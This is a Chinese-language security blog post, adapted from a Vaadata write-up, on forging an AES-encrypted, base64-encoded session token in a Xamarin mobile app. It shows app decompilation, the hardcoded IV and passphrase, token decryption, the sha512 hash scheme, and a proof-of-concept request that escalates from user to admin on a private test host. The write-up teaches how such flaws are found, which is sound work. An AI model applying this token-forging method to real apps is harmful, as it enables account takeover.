移动app之base64编码后的AES加密流量

发布时间 2023-12-06 13:46:21作者: sec875

移动app之base64编码后的AES加密流量

别搁那你抄我,我抄你了。咱直接抄海外okay?
参考资料:https://www.vaadata.com/blog/insecure-authentication-tokens-leading-to-account-takeover/

技术点

  • AES-256-CBC加密
  • base64 编码

会话管理请求包:

GET /login HTTP/1.1
Host: 172.23.76.53:8000
TOKEN: T1P6eRxSX7DosonF7cUSD+OALbeWmMYu3DpNYrYEdtvxnrL3LoiE7SFAimZ1hrBEk4vinGO89IvycKEGR7SyoA== 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1

响应包:

HTTP/1.1 200 OK
Host: 172.23.76.53:8000
Date: Tue, 12 Sep 2023 13:40:30 GMT
Connection: close
X-Powered-By: PHP/8.2.8
Content-type: text/html; charset=UTF-8

Welcome User

整个请求包就一个token在搁那做会话管理
https://gchq.github.io/CyberChef/ 选from base64--来自于base64的编码需要解码
image

base64解码之后,数据还是加密状态。到这一步必须解密它。因为没有事先发送请求,这些加密信息大概率都在移动app内。所以我们尝试恢复源代码。

技术点

  • 反编译移动app
    不同的技术需要不同的方法反编译(native, Flutter, etc.),要先搞清楚它用的什么技术栈。应用程序位于 Xamarin 中,说明移动app使用 .NET 编写的。

    使用 apktool 反编译应用程序:apktool d app.apk
    解压缩 Xamarin 文件:pyxamstore unpack -d app/unknown/assemblies/
    使用 .NET 反编译器,在本例中为 JetBrains 的 dotPeek。

  • 数据关联大法与源码搜索
    不管你如何进行编码与加密,加密结果最后是不是都体现在请求包的中的token头中。因此,源码搜索的关键词是token,跟踪数据流。
    你会搜到在base64编码之前先进行了AES-256-CBC 算法加密。(base64属于后渗透数据溢出之base64编码传输,因此先加密再传输,而不是先传输再加密)

百度搜 AES-256-CBC 原理图。发现从明文到密文,需要IV和key。仅此而已,没了。
image

你猜,在源码你搜到的iv和passphrase参数值,是不是AES-256-CBC的IV和key

iv = 8c7b7ef51795142327fe06cea699e39b (sous forme hexadécimal)
passphrase = "AlfredWillFindMeaGoodPassphrase!"

填充参数进行解密
image

token解密如下:

email=user@local.dev|password=superpassword1234|App=company1

基本操作的威胁建模:
email=user@local.dev --> email=admin@local.dev 尝试提权: user改admin

把明文和密文调来调去,解来解去。你发现你发送的东西不是 email=user@local.dev|password=superpassword1234|App=company1
因为你加密发送之后,它请求包中的token变成了:

T1P6eRxSX7DosonF7cUSD1jxPCZrgA0tcnW+3wfxhX9aRuxSURkzQ39W1PH2K81icOoCRqR3jXj0tkQcjjArfOVzE2wahVpQu40xoobj1j1ToQ84fDq82sQA/8mxQd06KX+RoiW3FbNoTtUfON54qbmtptE9e2NtWAv2IX++FTmzlL0uPeF9G5X/wtoKTp/UEoyP7OtWuc97Pt832pIqPtnMvebL6k2S/CDa590XbIw=

你解密后发现,不对。我发送的是email=user@local.dev|password=superpassword1234|App=company1 的加密版本,怎么多了hash出来

email=user@local.dev|App=company1|hash=250ec51456a3c45e4a8b55344fffaf188c16180823efb813130c1672405308042eaded1146cbc1705635cddf386596834e17d67ebdcafe1a20d8700011f7220a

看一下hash长度,假设它是 sha512,你可以进行预判。源代码搜关键词hash或者搜你假设的sha512。-->发现sha512(email+'#'+company)
image

所以请求包就变成了:
威胁建模的明文-->添加hash参数-->整体AES加密
admin@local.dev#company1 => f765f0945a56a49e6f245eb74fe312a2a6619f7cdfe2298bf8bc4d816060583704ebb5bf87bcdd02218d699c0934f78b7044ba475432d5f6a4eb135348ad43a7

aes加密

7p/fKUgE5tiG7J+4MMeAsvaw66KNur4NpskFiwAnxqbqvvuElIwusapyaN7V1MOMG/YSeY+3OZ/RzunzUUKWRMI+y8XCL1bX0lJQtJYaWkey9LQBBy158M6Dq3SbglAqes+B+dG18vf6urXISZZAONkR7FxoDbFekqVgZ4urzQBBzkjkRvXJlAVkuhQ879OgplBSNSN382d4Qnrufeb6wqJWp0tFp/dj+BhsbkKsQfU=

poc验证:

GET /login HTTP/1.1
Host: 172.17.42.3:8000
Token: 7p/fKUgE5tiG7J+4MMeAsvaw66KNur4NpskFiwAnxqbqvvuElIwusapyaN7V1MOMG/YSeY+3OZ/RzunzUUKWRMI+y8XCL1bX0lJQtJYaWkey9LQBBy158M6Dq3SbglAqes+B+dG18vf6urXISZZAONkR7FxoDbFekqVgZ4urzQBBzkjkRvXJlAVkuhQ879OgplBSNSN382d4Qnrufeb6wqJWp0tFp/dj+BhsbkKsQfU=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

响应包

HTTP/1.1 200 OK
Host: 172.17.42.3:8000
Date: Thu, 17 Aug 2023 07:57:36 GMT
Connection: close
Content-type: text/html; charset=UTF-8

Welcome Admin